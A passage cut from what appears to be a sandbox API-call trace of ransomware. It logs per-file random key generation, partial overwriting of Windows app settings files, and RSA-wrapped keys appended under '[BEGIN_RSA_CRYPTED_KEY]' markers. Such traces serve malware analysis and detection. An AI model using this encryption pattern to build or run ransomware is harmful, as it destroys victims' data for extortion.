cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.446] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WLixHNvdTu0R1xYygAUwGuz/GEoTB4ZIKhRDqik3tehF2Obtc1kVKAd4aBs17sTq\nQIbcecDIFuUjTmBU6t2HBIrOw3dFLt7C99s2JQcHTOKwaN7AmwLLC6DTY9tbh1Xm\nuAM9f2MJSNbxyYm9v+SFvWHTybZTHr0vNM0T5Z6P6x59RwmZByAWtkReaTad4CcZ\nVpQ3XjQrmtchLULNHVZQeVaMEOlUmpOjaXhR0qnTfYJ4Bms2y4EbpRt5gASMSW4l\ncDUlCqMvU4GShERIqAzhbTmtJPGf83iHCsBWsiYhwr2ger20nfp+WxLdLzcJ1xh0\nbNA9hBKxkjQrYIQfRo0DHA==\n", pcchString=0x2e3f9a8) returned 1 [0199.446] WriteFile (in: hFile=0x101c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.447] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.447] WriteFile (in: hFile=0x101c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.447] CloseHandle (hObject=0x101c) returned 1 [0199.449] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.449] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0199.450] ReadFile (in: hFile=0x101c, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.475] SetFilePointer (in: hFile=0x101c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.475] WriteFile (in: hFile=0x101c, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.476] SetFilePointer (in: hFile=0x101c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.476] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.476] WriteFile (in: hFile=0x101c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.477] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.477] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.477] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.477] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8mE1WOIXS96TdD9ukmby7lgKw6kfqys2eqAbCaDLpIYZaJhIvmKlQcbuD8f2yRBU\ncK5kQsj2oXQDy2UCnTcc8CX+qlhUfljHFa9djwJ/RmpQdbSCNyZo9pw8OXLfbc24\n9UtvVaCPJAPVIJ9ecCv5P2GrkMjgXYzmuI5XQ4BoHieKwP+61quX+UUPFVzm+T3l\ngo/9KSHKbLYr4aPG1i0JAfh5815yaSAy56zizYxcwIwHB4gkaqHACzXMaFrnF+6h\nA8eS0pZrIRqr6vP/u4n4sFdYKPo6+gzgag5G8lp2I/A8JaQh0wn/WYge1D2Ufb20\nXOSfiI4bKKjrMg+/g8J2QA==\n", pcchString=0x2e3f9a8) returned 1 [0199.477] WriteFile (in: hFile=0x101c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.478] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.478] WriteFile (in: hFile=0x101c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.478] CloseHandle (hObject=0x101c) returned 1 [0199.480] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.480] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.483] ReadFile (in: hFile=0x101c, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.504] SetFilePointer (in: hFile=0x101c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.504] WriteFile (in: hFile=0x101c, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.505] SetFilePointer (in: hFile=0x101c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.505] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.505] WriteFile (in: hFile=0x101c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.505] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.506] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.506] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.506] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6YhL+5H6fGnlM9kbFIzwfVfggr0G6uEPoYE+tqSaxeaWJGQYCOZcLbFyQc6/NJrJ\nXk2t4L+36TAhd1PRqt30KyNZRtsdbsHWhXOLx3aoN6O1tE7vnmBWUyzgJAX2f9nV\nuS6H4Pzcqm5DMuq/JT6i+OTmzf5pHfk6jnp3hl/fAs48xfofr2eBKaAHCtc9tJD/\nuGcrAsIm6FZVBdfb5PycQs194BE7uOcim8j06Zyw3bety4aVRSe4MxCHxuFk/5fn\niwgQ/ZaL6eBmE/ccqoMLHl2ACn3Jzyv0hnHknyF/EhRKExaFu5geDW1x7in60YLt\nE/2hLRFMBnLsAyKCgGeZIA==\n", pcchString=0x2e3f9a8) returned 1 [0199.506] WriteFile (in: hFile=0x101c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.507] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.507] WriteFile (in: hFile=0x101c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.507] CloseHandle (hObject=0x101c) returned 1 [0199.508] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.508] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.509] ReadFile (in: hFile=0x101c, lpBuffer=0x59d350, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.509] SetFilePointer (in: hFile=0x101c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.509] WriteFile (in: hFile=0x101c, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.509] SetFilePointer (in: hFile=0x101c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.509] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.509] WriteFile (in: hFile=0x101c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.511] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.511] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5i1LmtZGxpimZdVc8VMbYvjuhhCJ/lGDrObULARkF0Y8icQAfKL0WVdCoNeEs352\nEXHLrSH/L0Jt0Omrlr1Kl1/wJ99fkYHzKbiqJlA48/c/vJhOK7owA0cY/bX+MgLY\n/dsKQHQU3H/akdbX0oAiPw+zC48eO7Z1hfgtjVyIwJZN8bjISLgL/vqOAzZ1nQyS\noMOSFw+jm0evzW1yHVJ5XMbL4rY3A9YqeDZXB04fh70cEyrVBGLawbQAKYY8H60+\nZA80xVvfUliYcCJERVt4lO/oVadGVPeScXSyhpDFNq39IXLTg/Bfaq/ZLD4fV8fZ\nbUR6xUiEDcZCgrwcXL8Znw==\n", pcchString=0x2e3f9a8) returned 1 [0199.511] WriteFile (in: hFile=0x101c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.512] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.512] WriteFile (in: hFile=0x101c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.512] CloseHandle (hObject=0x101c) returned 1 [0199.546] WriteFile (in: hFile=0x1024, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.554] CloseHandle (hObject=0x1024) returned 1 [0199.563] WriteFile (in: hFile=0x1024, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.568] CloseHandle (hObject=0x1024) returned 1 [0199.570] WriteFile (in: hFile=0x1024, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.572] CloseHandle (hObject=0x1024) returned 1 [0199.572] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.572] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.573] ReadFile (in: hFile=0x1038, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.585] SetFilePointer (in: hFile=0x1038, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.585] WriteFile (in: hFile=0x1038, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.586] SetFilePointer (in: hFile=0x1038, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.586] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.586] WriteFile (in: hFile=0x1038, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.587] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.587] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.587] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.587] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8AZzD38MCxheZEKqCKV8H9G4rRBiJzA1Bf0dfJMwzYTOT1RjtWnrOLjmoARfW4vm\nqzPcebA7KEZYEgRd7oABA0wDBAqBRMmdIwZsBuYr/OaecQ6fmD3TGzmS4MPvSrnO\n3wO1sv2ub087RPr2CLqLJJ35t8vwFwdCLdxOrYHJWT6itq0cX3l4Vn+x8gn1ZiwE\nO/+SqTSfX9j0GeCtGX97kcWfTkX8L8EgaBOXwbZEV4DLRDviKnJytq40Iwf/W2yt\nsfoDnHZ0OtevbaXIISSjqNdqQvEtf21M5oAkojGioPBDLelj5Y2xAaEXht93hjYq\nFvNfSqOBX6jTGXAoH16kSA==\n", pcchString=0x2e3f9a8) returned 1 [0199.587] WriteFile (in: hFile=0x1038, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.588] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.588] WriteFile (in: hFile=0x1038, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.588] CloseHandle (hObject=0x1038) returned 1 [0199.602] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.602] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.603] ReadFile (in: hFile=0x1038, lpBuffer=0x59d240, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.603] SetFilePointer (in: hFile=0x1038, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.603] WriteFile (in: hFile=0x1038, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.603] SetFilePointer (in: hFile=0x1038, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.603] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.603] WriteFile (in: hFile=0x1038, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.604] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.605] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.605] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.605] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3zOu+YGGbBsYyl/VYwNUUwq42UmjIJpu89XRzUstpHnNp7JY4PtYqumILkjLPiZp\n4unOk0DqtFVwPOr7VcOMz/4dQlxoceh06HEy5vmDE9M9fnt2E9ENvi/TdNvs03aI\nJyF83L4bJCLRY85hH0NhfYdpAryYq4jx+zPaT+f6siTEOMsSVjylvEqTdvWri5Hm\nO2C9rMmI0173srm2jybDUDS1iFkgK3+tFeDpdrlw72yV+AosuvqfKyOYKx12beuX\nq3jk4SZ95NV97smZtAZ4eMJ4Gn/pvDMpZYqFllvM+HVN6Rg+KbEal2Qrf02KkAUh\nCPx9CZJnAiU+/SunaILeZA==\n", pcchString=0x2e3f9a8) returned 1 [0199.605] WriteFile (in: hFile=0x1038, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.606] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.606] WriteFile (in: hFile=0x1038, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.606] CloseHandle (hObject=0x1038) returned 1 [0199.610] WriteFile (in: hFile=0x1044, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.611] CloseHandle (hObject=0x1044) returned 1 [0199.612] WriteFile (in: hFile=0x1044, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.613] CloseHandle (hObject=0x1044) returned 1 [0199.614] WriteFile (in: hFile=0x1044, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.616] CloseHandle (hObject=0x1044) returned 1 [0199.617] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.617] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.618] ReadFile (in: hFile=0x1058, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.619] SetFilePointer (in: hFile=0x1058, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.619] WriteFile (in: hFile=0x1058, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.619] SetFilePointer (in: hFile=0x1058, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.620] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.620] WriteFile (in: hFile=0x1058, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.620] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.620] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.621] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.621] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wHJpNttXoTolq9DRe2GA7lU24PVUjlnG29UAncEOH/ahu+NVnzE3zgQGK4YUW+Km\nDImvL5F5baZI5aE68kTvVVlNALXrmlurWL+CiZVwI63qgVHMvYqJvEzupzvtr0CX\naWHm2LR+LopPoQBKul7mVe8rtoJNlxTp0ZHrENDqzIwLK7h0s2zpJIF9mohnuZWV\nPHNgFx59rhLmp8KYvI13mJSlEB1FqHTjI140gWrdxDmjGP5eVs+9JJ8V7TZNM9UH\nGGuLGR3biSuRwH47JMPC0A9Y6umVYkTw+WRkFdbJI2sGrDIcKGBVJ0dSGrBDr2Nf\nlwPVS8XRVU8Zu6lHF6xOOQ==\n", pcchString=0x2e3f9a8) returned 1 [0199.621] WriteFile (in: hFile=0x1058, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.621] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.621] WriteFile (in: hFile=0x1058, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.622] CloseHandle (hObject=0x1058) returned 1 [0199.627] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.627] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.628] ReadFile (in: hFile=0x1058, lpBuffer=0x59d240, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, 